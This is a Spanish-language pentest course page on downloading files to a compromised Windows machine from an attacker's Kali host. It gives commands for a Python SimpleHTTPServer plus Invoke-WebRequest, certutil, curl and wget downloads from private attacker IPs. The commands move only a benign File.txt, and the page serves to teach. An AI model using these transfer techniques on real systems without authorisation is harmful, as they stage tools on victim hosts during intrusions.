> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cppj/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cppj/transferencia-de-archivos/descargando-desde-windows.md).

# Descargando desde Windows

{% hint style="info" %}
**Máquina del Atacante: Kali Linux**

**Máquina Víctima: Windows**

**Archivo a Transferir: File.txt**
{% endhint %}

## <mark style="color:green;">1. Usando Invoke-WebRequest (IWR)</mark>

### <mark style="color:green;">**Máquina del Atacante:**</mark>

Primero, navega al directorio local desde donde vas a subir el archivo a la máquina víctima. El comando Python ejecutado con “SimpleHTTPServer” en el puerto 80 crea y inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual. Este es uno de los métodos más sencillos para transferir archivos.

#### **Comando:**

```bash
python -m SimpleHTTPServer 80
```

### <mark style="color:green;">**Máquina Víctima:**</mark>

En la máquina víctima, ejecuta el siguiente comando en PowerShell para descargar el archivo desde la máquina atacante.

#### **Comando:**

```powershell
powershell.exe -command iwr -Uri http://192.168.68.68/file.txt -OutFile C:\Temp\fileoutput.txt
```

Nota: `iwr` es la abreviatura de Invoke-WebRequest, que es una parte de la utilidad de Microsoft PowerShell.

También puedes probar con el siguiente comando:

```powershell
powershell.exe iwr -uri http://192.168.1.2/file.txt -o C:\Temp\fileoutput.txt
```

## <mark style="color:green;">2. Usando Certutil</mark>

El propósito original de `certutil` era para la gestión de certificados y Autoridades Certificadoras (CA), pero también puede ser utilizado para la transferencia de archivos.

### <mark style="color:green;">**Máquina del Atacante:**</mark>

Usaremos el mismo SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

#### **Comando:**

```bash
python -m SimpleHTTPServer 80
```

### <mark style="color:green;">**Máquina Víctima:**</mark>

En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.

**Comando:**

```powershell
certutil -urlcache -f http://192.168.62.68/file.txt file.txt
```

## <mark style="color:green;">3. Usando Curl</mark>

`Curl` es una herramienta de línea de comandos en Linux que se utiliza para compartir datos entre servidores y que ahora también está disponible en cmd de Windows.

### <mark style="color:green;">**Máquina del Atacante:**</mark>

Usaremos el mismo SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

#### **Comando:**

```bash
python -m SimpleHTTPServer 80
```

### <mark style="color:green;">**Máquina Víctima:**</mark>

En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.

#### **Comando:**

```powershell
curl http://192.168.1.2/file.txt -o fileout.txt
```

## <mark style="color:green;">4. Usando Wget</mark>

La función de `wget` es recuperar contenido desde servidores web disponibles. Ahora vamos a descargar un archivo desde la máquina atacante usando PowerShell en la máquina víctima.

### Máquina del Atacante:

Ejecuta el SimpleHTTP Server en el puerto 80 en la máquina atacante para enviar el archivo desde ese directorio.

#### **Comando:**

```bash
python -m SimpleHTTPServer 80
```

### <mark style="color:green;">Máquina Víctima:</mark>

Abre PowerShell en la máquina Windows y ejecuta el siguiente comando. Menciona la ruta desde la cual descargar el archivo y luego especifica la ruta de salida para guardar el archivo.

#### **Comando:**

```powershell
wget http://192.168.1.2/file.txt -OutFile C:\Temp\fileoutput.txt
```
